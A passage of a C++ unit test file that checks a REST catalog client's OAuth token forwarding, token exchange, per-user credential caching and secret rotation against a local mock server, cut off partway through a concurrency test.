*/ "", + /* oauth_server_uri */ "", + /* oauth_server_use_request_body */ true, + /* namespaces */ "*", + context, + forwarding); +} + +/// Parses an `application/x-www-form-urlencoded` body into a map, percent-decoding values. +std::map parseForm(const std::string & body) +{ + std::map result; + size_t pos = 0; + while (pos < body.size()) + { + const auto amp = body.find('&', pos); + const auto field = body.substr(pos, amp == std::string::npos ? std::string::npos : amp - pos); + const auto eq = field.find('='); + if (eq != std::string::npos) + { + std::string value; + Poco::URI::decode(field.substr(eq + 1), value); + result[field.substr(0, eq)] = value; + } + if (amp == std::string::npos) + break; + pos = amp + 1; + } + return result; +} + +/// The server-level `enable_token_forwarding` switch, which `RestCatalog::getForwardedToken` +/// re-reads on every request. It lives on the `AccessControl` of the process-wide test context and +/// is off by default, so turning it on is a precondition of forwarding anything at all. +struct TokenForwardingSwitch +{ + explicit TokenForwardingSwitch(bool enabled) + : previous(getContext().context->getAccessControl().isTokenForwardingEnabled()) + { + set(enabled); + } + + ~TokenForwardingSwitch() { set(previous); } + + static void set(bool enabled) { getContext().context->getAccessControl().setTokenForwardingEnabled(enabled); } + + const bool previous; +}; + +} + +/// A fixture rather than a line in each test: the switch is process-wide, so restoring it has to +/// happen even when a test fails an assertion or throws -- a member destructor always runs, a +/// trailing statement does not. +class RestCatalogTokenForwarding : public ::testing::Test +{ +protected: + TokenForwardingSwitch forwarding{true}; +}; + +/// --- Passthrough ------------------------------------------------------------------------- + +TEST_F(RestCatalogTokenForwarding, PassthroughSendsUserTokenOnEveryCall) +{ + TestServer server; + installCatalogShape(*server); + /// Registered so that a fallback to the service principal is *recorded* rather than throwing. + installTokenEndpoint(*server, CATALOG_TOKEN_PATH); + + auto alice = makeToken(ALICE_TOKEN, "alice"); + auto context = makeQueryContext(); + auto catalog = makeCatalog(server, context, passthrough()); + + ASSERT_EQ(catalog->getTables(alice), DB::Names{"ns.t"}); + + const auto requests = server->requests(); + ASSERT_FALSE(requests.empty()); + for (const auto & request : requests) + EXPECT_EQ(request.header("Authorization"), std::string("Bearer ") + ALICE_TOKEN) << "path: " << request.path; + + /// `/v1/config` is fetched lazily with the same user's token, not unauthenticated. + EXPECT_EQ(server->countRequestsTo(CONFIG_PATH), 1u); + /// Passthrough contacts no token endpoint at all. + EXPECT_EQ(server->countRequestsTo(CATALOG_TOKEN_PATH), 0u); + EXPECT_EQ(server->countRequestsTo(IDP_TOKEN_PATH), 0u); +} + +TEST_F(RestCatalogTokenForwarding, ForwardingOffKeepsClientCredentials) +{ + TestServer server; + installCatalogShape(*server); + installTokenEndpoint(*server, CATALOG_TOKEN_PATH); + + auto context = makeQueryContext(); + auto catalog = makeCatalog(server, context, TokenForwardingConfig{}, "client:secret"); + + ASSERT_EQ(catalog->getTables(/* auth_token */ {}), DB::Names{"ns.t"}); + + EXPECT_GE(server->countRequestsTo(CATALOG_TOKEN_PATH), 1u); + for (const auto & request : server->requestsTo(NAMESPACES_PATH)) + EXPECT_EQ(request.header("Authorization"), "Bearer session_token_0"); + + const auto grants = server->requestsTo(CATALOG_TOKEN_PATH); + ASSERT_FALSE(grants.empty()); + const auto form = parseForm(grants.front().body); + EXPECT_EQ(form.at("grant_type"), "client_credentials"); + EXPECT_EQ(form.at("client_id"), "client"); + EXPECT_EQ(form.at("client_secret"), "secret"); + EXPECT_EQ(form.at("scope"), "lakekeeper"); +} + +/// The single most important test of the feature: a session with no token must be refused, and +/// must NOT quietly acquire the service principal's identity instead. +TEST_F(RestCatalogTokenForwarding, NoUserTokenFailsClosed) +{ + TestServer server; + installCatalogShape(*server); + installTokenEndpoint(*server, CATALOG_TOKEN_PATH); + + auto context = makeQueryContext(); + auto catalog = makeCatalog(server, context, passthrough(), "client:secret"); + + try + { + catalog->getTables(/* auth_token */ {}); + FAIL() << "expected the catalog to refuse a request with no user token"; + } + catch (const DB::Exception & e) + { + EXPECT_EQ(e.code(), DB::ErrorCodes::CATALOG_USER_TOKEN_NOT_AVAILABLE); + } + + EXPECT_EQ(server->countRequestsTo(CATALOG_TOKEN_PATH), 0u); + EXPECT_EQ(server->countRequestsTo(NAMESPACES_PATH), 0u); +} + +TEST_F(RestCatalogTokenForwarding, ForbiddenIsNotRetriedAsServicePrincipal) +{ + TestServer server; + installTokenEndpoint(*server, CATALOG_TOKEN_PATH); + server->setRoute(NAMESPACES_PATH, [](const RecordedRequest &) { return respondWithStatus(403); }); + + auto alice = makeToken(ALICE_TOKEN, "alice"); + auto context = makeQueryContext(); + auto catalog = makeCatalog(server, context, passthrough(), "client:secret"); + + EXPECT_THROW(catalog->getTables(alice), DB::Exception); + + /// Exactly one attempt, and no `client_credentials` grant behind the user's back. + EXPECT_EQ(server->countRequestsTo(NAMESPACES_PATH), 1u); + EXPECT_EQ(server->countRequestsTo(CATALOG_TOKEN_PATH), 0u); +} + +TEST_F(RestCatalogTokenForwarding, VendedCredentialsCacheIsPerPrincipal) +{ + TestServer server; + installCatalogShape(*server); + server->setRoute(TABLE_PATH, [](const RecordedRequest & request) + { + /// Each principal gets a distinguishable access key id. + const bool is_alice = request.header("Authorization") == std::string("Bearer ") + ALICE_TOKEN; + return json(loadTableResponse(is_alice ? "AKIA_ALICE" : "AKIA_BOB")); + }); + + auto alice = makeToken(ALICE_TOKEN, "alice"); + auto bob = makeToken(BOB_TOKEN, "bob"); + + auto context = makeQueryContext(); + auto catalog = makeCatalog(server, context, passthrough()); + catalog->setVendedCredentialsCacheTTL(std::chrono::seconds(300)); + + auto load = [&](const DB::ForwardedAuthTokenPtr & token) + { + auto query_context = makeQueryContext(token); + TableMetadata metadata; + metadata.withLocation().withStorageCredentials(); + catalog->getTableMetadata("ns", "t", query_context, metadata); + return metadata.getStorageCredentials(); + }; + + /// A `loadTable` request happens on every read regardless; what the cache saves is asking the + /// catalog to *vend credentials*, which the `X-Iceberg-Access-Delegation` header requests. + /// Its presence is therefore the exact signal for "these credentials were freshly vended". + auto vending_requests = [&] + { + size_t count = 0; + for (const auto & request : server->requestsTo(TABLE_PATH)) + if (request.header("X-Iceberg-Access-Delegation") == "vended-credentials") + ++count; + return count; + }; + + auto alice_credentials = load(alice); + ASSERT_EQ(vending_requests(), 1u); + + /// A warm cache must not serve Bob what the catalog vended for Alice: the catalog has to vend + /// for him too. + auto bob_credentials = load(bob); + EXPECT_EQ(vending_requests(), 2u); + + /// Alice's second read is served from her own entry, so nothing is vended again. + load(alice); + EXPECT_EQ(vending_requests(), 2u); + + auto alice_s3 = std::dynamic_pointer_cast(alice_credentials); + auto bob_s3 = std::dynamic_pointer_cast(bob_credentials); + ASSERT_TRUE(alice_s3); + ASSERT_TRUE(bob_s3); + EXPECT_EQ(alice_s3->getAccessKeyId(), "AKIA_ALICE"); + EXPECT_EQ(bob_s3->getAccessKeyId(), "AKIA_BOB"); +} + +/// --- Token exchange ---------------------------------------------------------------------- + +TEST_F(RestCatalogTokenForwarding, ExchangeRequestHasRfc8693Shape) +{ + TestServer server; + installCatalogShape(*server); + installTokenEndpoint(*server, IDP_TOKEN_PATH); + + auto alice = makeToken(ALICE_TOKEN, "alice"); + auto context = makeQueryContext(); + auto catalog = makeCatalog(server, context, exchangeAt(server.getUrl() + IDP_TOKEN_PATH), "client:secret"); + + ASSERT_EQ(catalog->getTables(alice), DB::Names{"ns.t"}); + + const auto exchanges = server->requestsTo(IDP_TOKEN_PATH); + ASSERT_EQ(exchanges.size(), 1u); + const auto & exchange = exchanges.front(); + + EXPECT_EQ(exchange.method, "POST"); + /// The user's JWT must never reach a request line: it would land in the catalog's access log, + /// in every proxy log, and in `system.query_log.exception`. + EXPECT_TRUE(exchange.query.empty()); + EXPECT_EQ(exchange.query.find(ALICE_TOKEN), std::string::npos); + EXPECT_EQ(exchange.path.find(ALICE_TOKEN), std::string::npos); + + const auto form = parseForm(exchange.body); + EXPECT_EQ(form.at("grant_type"), "urn:ietf:params:oauth:grant-type:token-exchange"); + EXPECT_EQ(form.at("subject_token"), ALICE_TOKEN); + EXPECT_EQ(form.at("subject_token_type"), "urn:ietf:params:oauth:token-type:access_token"); + EXPECT_EQ(form.at("requested_token_type"), "urn:ietf:params:oauth:token-type:access_token"); + EXPECT_EQ(form.at("scope"), "lakekeeper"); + EXPECT_EQ(form.at("client_id"), "client"); + EXPECT_EQ(form.at("client_secret"), "secret"); + /// Absent rather than empty when delegation is off. + EXPECT_EQ(form.count("actor_token"), 0u); + EXPECT_EQ(form.count("actor_token_type"), 0u); +} + +TEST_F(RestCatalogTokenForwarding, CatalogCallsCarryExchangedTokenNotSubjectToken) +{ + TestServer server; + installCatalogShape(*server); + installTokenEndpoint(*server, IDP_TOKEN_PATH); + + auto alice = makeToken(ALICE_TOKEN, "alice"); + auto context = makeQueryContext(); + auto catalog = makeCatalog(server, context, exchangeAt(server.getUrl() + IDP_TOKEN_PATH), "client:secret"); + + ASSERT_EQ(catalog->getTables(alice), DB::Names{"ns.t"}); + + for (const auto & request : server->requests()) + { + if (request.path == IDP_TOKEN_PATH) + continue; + EXPECT_EQ(request.header("Authorization"), "Bearer session_token_0") << "path: " << request.path; + } + /// One exchange for the whole query, reused from the per-user cache. + EXPECT_EQ(server->countRequestsTo(IDP_TOKEN_PATH), 1u); +} + +TEST_F(RestCatalogTokenForwarding, ExchangedTokensAreNotSharedBetweenPrincipals) +{ + TestServer server; + installCatalogShape(*server); + installTokenEndpoint(*server, IDP_TOKEN_PATH); + + auto alice = makeToken(ALICE_TOKEN, "alice"); + auto bob = makeToken(BOB_TOKEN, "bob"); + auto context = makeQueryContext(); + auto catalog = makeCatalog(server, context, exchangeAt(server.getUrl() + IDP_TOKEN_PATH), "client:secret"); + + ASSERT_EQ(catalog->getTables(alice), DB::Names{"ns.t"}); + server->clearRequests(); + ASSERT_EQ(catalog->getTables(bob), DB::Names{"ns.t"}); + + /// Bob must not be signed with Alice's session. + const auto exchanges = server->requestsTo(IDP_TOKEN_PATH); + ASSERT_EQ(exchanges.size(), 1u); + EXPECT_EQ(parseForm(exchanges.front().body).at("subject_token"), BOB_TOKEN); + for (const auto & request : server->requestsTo(NAMESPACES_PATH)) + EXPECT_EQ(request.header("Authorization"), "Bearer session_token_1"); +} + +TEST_F(RestCatalogTokenForwarding, ExpiredSessionTokenIsExchangedAgain) +{ + TestServer server; + installCatalogShape(*server); + /// `expires_in = 1` leaves a validity window of 0 seconds (the 90% rule), so the cached entry + /// is already expired when the second query looks at it. + installTokenEndpoint(*server, IDP_TOKEN_PATH, /* expires_in */ 1); + + auto alice = makeToken(ALICE_TOKEN, "alice"); + auto context = makeQueryContext(); + auto catalog = makeCatalog(server, context, exchangeAt(server.getUrl() + IDP_TOKEN_PATH), "client:secret"); + + ASSERT_EQ(catalog->getTables(alice), DB::Names{"ns.t"}); + const auto after_first_query = server->countRequestsTo(IDP_TOKEN_PATH); + ASSERT_GE(after_first_query, 1u); + + /// The cached session token is already outside its validity window, so the second query must + /// exchange again rather than reuse it. + ASSERT_EQ(catalog->getTables(alice), DB::Names{"ns.t"}); + EXPECT_GT(server->countRequestsTo(IDP_TOKEN_PATH), after_first_query); +} + +TEST_F(RestCatalogTokenForwarding, ActorTokenCarriesServicePrincipalTokenWhenEnabled) +{ + TestServer server; + installCatalogShape(*server); + /// The service principal's own `client_credentials` grant. A hand-written route rather than + /// `installTokenEndpoint` so that the minted token is distinguishable from the exchanged one. + server->setStaticRoute(CATALOG_TOKEN_PATH, R"({"access_token":"service_principal_token","expires_in":3600})"); + installTokenEndpoint(*server, IDP_TOKEN_PATH); + + auto alice = makeToken(ALICE_TOKEN, "alice"); + auto context = makeQueryContext(); + auto catalog = makeCatalog( + server, context, exchangeAt(server.getUrl() + IDP_TOKEN_PATH, /* cache_ttl */ 300, /* actor */ true), "client:secret"); + + ASSERT_EQ(catalog->getTables(alice), DB::Names{"ns.t"}); + + /// Delegation needs a token for the actor, so exactly one `client_credentials` grant happens. + /// This is the one case where such a grant is legitimate while forwarding is on. + const auto grants = server->requestsTo(CATALOG_TOKEN_PATH); + ASSERT_EQ(grants.size(), 1u); + EXPECT_EQ(parseForm(grants.front().body).at("grant_type"), "client_credentials"); + + const auto exchanges = server->requestsTo(IDP_TOKEN_PATH); + ASSERT_EQ(exchanges.size(), 1u); + const auto form = parseForm(exchanges.front().body); + EXPECT_EQ(form.at("subject_token"), ALICE_TOKEN); + EXPECT_EQ(form.at("actor_token"), "service_principal_token"); + EXPECT_EQ(form.at("actor_token_type"), "urn:ietf:params:oauth:token-type:access_token"); + + /// `sub=user, act=clickhouse`: the catalog is still called with the exchanged user session, + /// never with the service principal's own token. + for (const auto & request : server->requestsTo(NAMESPACES_PATH)) + EXPECT_EQ(request.header("Authorization"), "Bearer session_token_0"); +} + +TEST_F(RestCatalogTokenForwarding, ActorTokenIsAbsentWhenDisabled) +{ + TestServer server; + installCatalogShape(*server); + /// Registered so that a `client_credentials` grant is *recorded* rather than throwing. + installTokenEndpoint(*server, CATALOG_TOKEN_PATH); + installTokenEndpoint(*server, IDP_TOKEN_PATH); + + auto alice = makeToken(ALICE_TOKEN, "alice"); + auto context = makeQueryContext(); + auto catalog = makeCatalog( + server, context, exchangeAt(server.getUrl() + IDP_TOKEN_PATH, /* cache_ttl */ 300, /* actor */ false), "client:secret"); + + ASSERT_EQ(catalog->getTables(alice), DB::Names{"ns.t"}); + + const auto exchanges = server->requestsTo(IDP_TOKEN_PATH); + ASSERT_EQ(exchanges.size(), 1u); + const auto form = parseForm(exchanges.front().body); + /// Absent rather than empty: an empty `actor_token` is not the same thing as no delegation, + /// and strict servers reject it. + EXPECT_EQ(form.count("actor_token"), 0u); + EXPECT_EQ(form.count("actor_token_type"), 0u); + /// With delegation off nothing is minted for the service principal either. + EXPECT_EQ(server->countRequestsTo(CATALOG_TOKEN_PATH), 0u); +} + +TEST_F(RestCatalogTokenForwarding, ExchangeErrorIsReportedWithoutEchoingTheSubjectToken) +{ + auto run = [](ServerState::Route token_route, const std::string & expected_phrase) + { + TestServer server; + installCatalogShape(*server); + server->setRoute(IDP_TOKEN_PATH, std::move(token_route)); + + auto alice = makeToken(ALICE_TOKEN, "alice"); + auto context = makeQueryContext(); + auto catalog = makeCatalog(server, context, exchangeAt(server.getUrl() + IDP_TOKEN_PATH), "client:secret"); + + try + { + catalog->getTables(alice); + FAIL() << "expected the exchange to fail"; + } + catch (const DB::Exception & e) + { + EXPECT_EQ(e.code(), DB::ErrorCodes::DATALAKE_DATABASE_ERROR); + const std::string message = e.displayText(); + EXPECT_NE(message.find(expected_phrase), std::string::npos) << message; + EXPECT_EQ(message.find(ALICE_TOKEN), std::string::npos) << message; + } + }; + + /// An endpoint that does not implement the grant: 404 with an HTML body. + run([](const RecordedRequest &) + { return Response{.status = 404, .body = "Not Found", .content_type = "text/html"}; }, + "not a JSON object"); + run([](const RecordedRequest &) { return json(R"({"error":"unsupported_grant_type"})"); }, + "no `access_token` field"); +} + +/// --- Runtime toggle ---------------------------------------------------------------------- + +/// `enable_token_forwarding` is hot-reloadable, but it is consulted at authentication time, so a +/// session that captured a token before the operator turned it off would otherwise keep forwarding +/// that token for the whole life of the connection. An operator responding to a credential leak +/// cannot wait for every open connection to be closed, so the switch is re-read per request. +TEST_F(RestCatalogTokenForwarding, DisablingTheServerSwitchAtRuntimeStopsForwarding) +{ + TestServer server; + installCatalogShape(*server); + /// Registered so that a fallback to the service principal is *recorded* rather than throwing. + installTokenEndpoint(*server, CATALOG_TOKEN_PATH); + installTokenEndpoint(*server, IDP_TOKEN_PATH); + + auto alice = makeToken(ALICE_TOKEN, "alice"); + auto context = makeQueryContext(); + auto catalog = makeCatalog(server, context, exchangeAt(server.getUrl() + IDP_TOKEN_PATH), "client:secret"); + + /// With the switch on, forwarding works and the exchanged session token is cached. + ASSERT_EQ(catalog->getTables(alice), DB::Names{"ns.t"}); + ASSERT_EQ(server->countRequestsTo(IDP_TOKEN_PATH), 1u); + + TokenForwardingSwitch::set(false); + server->clearRequests(); + + try + { + catalog->getTables(alice); + FAIL() << "expected the catalog to stop forwarding once the server setting was turned off"; + } + catch (const DB::Exception & e) + { + EXPECT_EQ(e.code(), DB::ErrorCodes::CATALOG_USER_TOKEN_NOT_AVAILABLE); + /// The session does have a token, so the message must name the real reason rather than + /// reuse the "no token on this session" wording. + const std::string message = e.displayText(); + EXPECT_NE(message.find("`enable_token_forwarding` setting is off"), std::string::npos) << message; + EXPECT_EQ(message.find("this session has none"), std::string::npos) << message; + } + + /// Refused, not quietly downgraded to the service principal. + EXPECT_EQ(server->countRequestsTo(NAMESPACES_PATH), 0u); + EXPECT_EQ(server->countRequestsTo(CATALOG_TOKEN_PATH), 0u); + EXPECT_EQ(server->countRequestsTo(IDP_TOKEN_PATH), 0u); + + /// Turning the switch back on must not resurrect the session token minted under the old + /// policy: it was dropped, so the catalog exchanges again. + TokenForwardingSwitch::set(true); + ASSERT_EQ(catalog->getTables(alice), DB::Names{"ns.t"}); + EXPECT_EQ(server->countRequestsTo(IDP_TOKEN_PATH), 1u); + for (const auto & request : server->requestsTo(NAMESPACES_PATH)) + EXPECT_EQ(request.header("Authorization"), "Bearer session_token_1"); +} + +/// --- Auth change ------------------------------------------------------------------------- + +/// `ALTER DATABASE ... MODIFY SETTING catalog_credential = ...` is how an operator rotates a +/// leaked client secret. Both caches hold artifacts derived from the old one -- session tokens +/// exchanged with it, and the credentials the catalog vended to the resulting identity -- so +/// leaving them warm would keep the rotated secret working for the rest of the cache TTL. +TEST_F(RestCatalogTokenForwarding, AlteringCatalogCredentialDropsCachedTokensAndCredentials) +{ + TestServer server; + installCatalogShape(*server); + installTokenEndpoint(*server, IDP_TOKEN_PATH); + server->setStaticRoute(TABLE_PATH, loadTableResponse("AKIA_VENDED")); + + auto alice = makeToken(ALICE_TOKEN, "alice"); + auto context = makeQueryContext(); + auto catalog = makeCatalog(server, context, exchangeAt(server.getUrl() + IDP_TOKEN_PATH), "client:secret"); + catalog->setVendedCredentialsCacheTTL(std::chrono::seconds(300)); + + auto load = [&] + { + auto query_context = makeQueryContext(alice); + TableMetadata metadata; + metadata.withLocation().withStorageCredentials(); + catalog->getTableMetadata("ns", "t", query_context, metadata); + }; + + /// The `X-Iceberg-Access-Delegation` header is sent only when credentials have to be vended, + /// so its presence is the exact signal for "the credentials cache missed". + auto vending_requests = [&] + { + size_t count = 0; + for (const auto & request : server->requestsTo(TABLE_PATH)) + if (request.header("X-Iceberg-Access-Delegation") == "vended-credentials") + ++count; + return count; + }; + + load(); + ASSERT_EQ(server->countRequestsTo(IDP_TOKEN_PATH), 1u); + ASSERT_EQ(vending_requests(), 1u); + + /// Both caches are warm: nothing is exchanged and nothing is vended again. + load(); + ASSERT_EQ(server->countRequestsTo(IDP_TOKEN_PATH), 1u); + ASSERT_EQ(vending_requests(), 1u); + + DB::SettingsChanges changes; + changes.emplace_back("catalog_credential", "client:rotated_secret"); + catalog->commitSettingsChanges(catalog->prepareSettingsChanges(changes, alice)); + + load(); + EXPECT_EQ(vending_requests(), 2u); + + const auto exchanges = server->requestsTo(IDP_TOKEN_PATH); + ASSERT_EQ(exchanges.size(), 3u); + EXPECT_EQ(server->countRequestsTo(CATALOG_TOKEN_PATH), 0u); + /// Re-exchanged, and with the rotated secret rather than the one it replaced. + EXPECT_EQ(parseForm(exchanges.back().body).at("client_secret"), "rotated_secret"); +} + + +TEST_F(RestCatalogTokenForwarding, CredentialRotationValidatesAsCallerWithoutPublishingTokens) +{ + TestServer server; + installCatalogShape(*server); + server->setRoute(IDP_TOKEN_PATH, [](const RecordedRequest & request) + { + const auto form = parseForm(request.body); + return json(fmt::format(R"({{"access_token":"{}_{}","expires_in":3600}})", + form.at("client_secret"), form.at("subject_token"))); + }); + server->setRoute(CONFIG_PATH, [](const RecordedRequest & request) + { + if (request.header("Authorization") != std::string("Bearer rotated_secret_") + ALICE_TOKEN) + return respondWithStatus(403); + return json(R"({"defaults":{},"overrides":{}})"); + }); + + auto alice = makeToken(ALICE_TOKEN, "alice"); + auto bob = makeToken(BOB_TOKEN, "bob"); + auto context = makeQueryContext(); + auto catalog = makeCatalog(server, context, exchangeAt(server.getUrl() + IDP_TOKEN_PATH), "client:secret"); + DB::SettingsChanges changes; + changes.emplace_back("catalog_credential", "client:rotated_secret"); + auto prepared = catalog->prepareSettingsChanges(changes, alice); + + ASSERT_EQ(server->countRequestsTo(CONFIG_PATH), 1u); + ASSERT_EQ(server->countRequestsTo(IDP_TOKEN_PATH), 1u); + EXPECT_EQ(server->countRequestsTo(CATALOG_TOKEN_PATH), 0u); + + /// Preparing a rotation must not publish either its state or its user token. The first + /// query still loads the old configuration and authenticates with the old credentials. + server->setStaticRoute(CONFIG_PATH, R"({"defaults":{},"overrides":{}})"); + ASSERT_EQ(catalog->getTables(alice), DB::Names{"ns.t"}); + EXPECT_EQ(server->requestsTo(CONFIG_PATH).back().header("Authorization"), std::string("Bearer secret_") + ALICE_TOKEN); + ASSERT_EQ(catalog->getTables(bob), DB::Names{"ns.t"}); + EXPECT_EQ(parseForm(server->requestsTo(IDP_TOKEN_PATH).back().body).at("client_secret"), "secret"); + + catalog->commitSettingsChanges(std::move(prepared)); + server->clearRequests(); + ASSERT_EQ(catalog->getTables(alice), DB::Names{"ns.t"}); + /// The prepared config was already loaded; the first query must not load it again. + EXPECT_EQ(server->countRequestsTo(CONFIG_PATH), 0u); + ASSERT_EQ(server->countRequestsTo(IDP_TOKEN_PATH), 1u); + EXPECT_EQ(parseForm(server->requestsTo(IDP_TOKEN_PATH).front().body).at("client_secret"), "rotated_secret"); + for (const auto & request : server->requestsTo(NAMESPACES_PATH)) + EXPECT_EQ(request.header("Authorization"), std::string("Bearer rotated_secret_") + ALICE_TOKEN); +} + +TEST_F(RestCatalogTokenForwarding, RejectedCredentialRotationPreservesCommittedAuthentication) +{ + TestServer server; + installCatalogShape(*server); + server->setRoute(IDP_TOKEN_PATH, [](const RecordedRequest & request) + { + if (parseForm(request.body).at("client_secret") != "secret") + return respondWithStatus(401); + return json(R"({"access_token":"old_session","expires_in":3600})"); + }); + auto alice = makeToken(ALICE_TOKEN, "alice"); + auto context = makeQueryContext(); + auto catalog = makeCatalog(server, context, exchangeAt(server.getUrl() + IDP_TOKEN_PATH), "client:secret"); + ASSERT_EQ(catalog->getTables(alice), DB::Names{"ns.t"}); + server->clearRequests(); + + DB::SettingsChanges changes; + changes.emplace_back("catalog_credential", "client:rejected_secret"); + EXPECT_THROW(catalog->prepareSettingsChanges(changes, alice), DB::Exception); + EXPECT_EQ(server->countRequestsTo(IDP_TOKEN_PATH), 1u); + EXPECT_EQ(server->countRequestsTo(CONFIG_PATH), 0u); + EXPECT_EQ(server->countRequestsTo(CATALOG_TOKEN_PATH), 0u); + + ASSERT_EQ(catalog->getTables(alice), DB::Names{"ns.t"}); + EXPECT_EQ(server->countRequestsTo(IDP_TOKEN_PATH), 1u); + for (const auto & request : server->requestsTo(NAMESPACES_PATH)) + EXPECT_EQ(request.header("Authorization"), "Bearer old_session"); +} + +TEST_F(RestCatalogTokenForwarding, RejectedConfigReloadDoesNotPublishPreparedUserSession) +{ + TestServer server; + installCatalogShape(*server); + server->setRoute(IDP_TOKEN_PATH, [](const RecordedRequest & request) + { + return json(fmt::format(R"({{"access_token":"{}_session","expires_in":3600}})", parseForm(request.body).at("client_secret"))); + }); + auto alice = makeToken(ALICE_TOKEN, "alice"); + auto context = makeQueryContext(); + auto catalog = makeCatalog(server, context, exchangeAt(server.getUrl() + IDP_TOKEN_PATH), "client:secret"); + ASSERT_EQ(catalog->getTables(alice), DB::Names{"ns.t"}); + server->clearRequests(); + server->setRoute(CONFIG_PATH, [](const RecordedRequest &) { return respondWithStatus(403); }); + + DB::SettingsChanges changes; + changes.emplace_back("catalog_credential", "client:rotated_secret"); + EXPECT_THROW(catalog->prepareSettingsChanges(changes, alice), DB::Exception); + ASSERT_EQ(server->countRequestsTo(CONFIG_PATH), 1u); + EXPECT_EQ(server->requestsTo(CONFIG_PATH).front().header("Authorization"), "Bearer rotated_secret_session"); + EXPECT_EQ(server->countRequestsTo(CATALOG_TOKEN_PATH), 0u); + ASSERT_EQ(catalog->getTables(alice), DB::Names{"ns.t"}); + for (const auto & request : server->requestsTo(NAMESPACES_PATH)) + EXPECT_EQ(request.header("Authorization"), "Bearer secret_session"); +} + +TEST_F(RestCatalogTokenForwarding, PassthroughCredentialRotationReloadsConfigWithUserToken) +{ + TestServer server; + auto alice = makeToken(ALICE_TOKEN, "alice"); + auto context = makeQueryContext(); + auto catalog = makeCatalog(server, context, passthrough(), "client:secret"); + DB::SettingsChanges changes; + changes.emplace_back("catalog_credential", "client:rotated_secret"); + catalog->applySettingsChanges(changes, alice); + + ASSERT_EQ(server->countRequestsTo(CONFIG_PATH), 1u); + EXPECT_EQ(server->requestsTo(CONFIG_PATH).front().header("Authorization"), std::string("Bearer ") + ALICE_TOKEN); + EXPECT_EQ(server->countRequestsTo(CATALOG_TOKEN_PATH), 0u); + EXPECT_EQ(server->countRequestsTo(IDP_TOKEN_PATH), 0u); +} + +TEST_F(RestCatalogTokenForwarding, UnchangedCredentialStillReloadsConfigAsCaller) +{ + TestServer server; + installCatalogShape(*server); + installTokenEndpoint(*server, IDP_TOKEN_PATH); + auto alice = makeToken(ALICE_TOKEN, "alice"); + auto context = makeQueryContext(); + auto catalog = makeCatalog(server, context, exchangeAt(server.getUrl() + IDP_TOKEN_PATH), "client:secret"); + ASSERT_EQ(catalog->getTables(alice), DB::Names{"ns.t"}); + server->clearRequests(); + + DB::SettingsChanges changes; + changes.emplace_back("catalog_credential", "client:secret"); + catalog->applySettingsChanges(changes, alice); + EXPECT_EQ(server->countRequestsTo(CATALOG_TOKEN_PATH), 0u); + ASSERT_EQ(server->countRequestsTo(IDP_TOKEN_PATH), 1u); + ASSERT_EQ(server->countRequestsTo(CONFIG_PATH), 1u); + EXPECT_EQ(server->requestsTo(CONFIG_PATH).front().header("Authorization"), "Bearer session_token_1"); +} + +TEST_F(RestCatalogTokenForwarding, CredentialRotationRequiresForwardingAndCallerToken) +{ + TestServer server; + auto alice = makeToken(ALICE_TOKEN, "alice"); + auto context = makeQueryContext(); + auto catalog = makeCatalog(server, context, exchangeAt(server.getUrl() + IDP_TOKEN_PATH), "client:secret"); + DB::SettingsChanges changes; + changes.emplace_back("catalog_credential", "client:rotated_secret"); + for (bool enabled : {true, false}) + { + TokenForwardingSwitch::set(enabled); + try + { + catalog->prepareSettingsChanges(changes, enabled ? DB::ForwardedAuthTokenPtr{} : alice); + FAIL() << "expected credential rotation to require an enabled forwarding policy and caller token"; + } + catch (const DB::Exception & e) + { + EXPECT_EQ(e.code(), DB::ErrorCodes::CATALOG_USER_TOKEN_NOT_AVAILABLE); + } + } + EXPECT_TRUE(server->requests().empty()); +} + +TEST_F(RestCatalogTokenForwarding, CredentialRotationUsesNewActorOnlyForDelegation) +{ + TestServer server; + installCatalogShape(*server); + server->setRoute(CATALOG_TOKEN_PATH, [](const RecordedRequest & request) + { + return json(fmt::format(R"({{"access_token":"actor_{}","expires_in":3600}})", parseForm(request.body).at("client_secret"))); + }); + installTokenEndpoint(*server, IDP_TOKEN_PATH); + auto alice = makeToken(ALICE_TOKEN, "alice"); + auto context = makeQueryContext(); + auto catalog = makeCatalog( + server, context, exchangeAt(server.getUrl() + IDP_TOKEN_PATH, /* cache_ttl */ 300, /* actor */ true), "client:secret"); + ASSERT_EQ(catalog->getTables(alice), DB::Names{"ns.t"}); + server->clearRequests(); + + DB::SettingsChanges changes; + changes.emplace_back("catalog_credential", "client:rotated_secret"); + catalog->applySettingsChanges(changes, alice); + ASSERT_EQ(server->countRequestsTo(CATALOG_TOKEN_PATH), 1u); + ASSERT_EQ(server->countRequestsTo(IDP_TOKEN_PATH), 1u); + EXPECT_EQ(parseForm(server->requestsTo(IDP_TOKEN_PATH).front().body).at("actor_token"), "actor_rotated_secret"); + EXPECT_EQ(server->requestsTo(CONFIG_PATH).front().header("Authorization"), "Bearer session_token_1"); + + server->clearRequests(); + ASSERT_EQ(catalog->getTables(alice), DB::Names{"ns.t"}); + EXPECT_EQ(server->countRequestsTo(CATALOG_TOKEN_PATH), 0u); + ASSERT_EQ(server->countRequestsTo(IDP_TOKEN_PATH), 1u); + EXPECT_EQ(parseForm(server->requestsTo(IDP_TOKEN_PATH).front().body).at("actor_token"), "actor_rotated_secret"); +} + + +/// A request that authenticated before the ALTER can only finish writing its result afterwards. +/// Clearing the caches at commit time does not cover that: the window is a whole catalog round +/// trip, so the write lands after the clear and puts the pre-rotation artifacts straight back. +/// Both are keyed to the auth generation instead, so such a write is unreachable. + +/// Parks a route until the test releases it, so an ALTER can be made to land while a request is +/// still in flight. Releasing from the destructor keeps a failed assertion from hanging the run. +class ParkedRoute +{ +public: + RestCatalogTest::ServerState::Route handler(RestCatalogTest::ServerState::Route response) + { + return [this, response](const RecordedRequest & request) + { + { + std::unique_lock lock(mutex); + if (enabled && !arrived) + { + arrived = true; + cv.notify_all(); + cv.wait(lock, [this] { return released; }); + } + } + return response(request); + }; + } + + void enable() + { + std::lock_guard lock(mutex); + enabled = true; + } + + bool isEnabled() const + { + std::lock_guard lock(mutex); + return enabled; + } + + void waitUntilParked() + { + std::unique_lock lock(mutex); + cv.wait(lock, [this] { return arrived; }); + } + + void release() + { + { + std::lock_guard lock(mutex); + released = true; + } + cv.notify_all(); + } + +private: + mutable std::mutex mutex; + std::condition_variable cv; + bool enabled = false; + bool arrived = false; + bool released = false; +}; + +TEST_F(RestCatalogTokenForwarding, InFlightVendedCredentialsDoNotOutliveTheirGeneration) +{ + /// Declared before the server so that it outlives the threads serving its routes. + ParkedRoute parked; + TestServer server; + installCatalogShape(*server); + installTokenEndpoint(*server, IDP_TOKEN_PATH); + 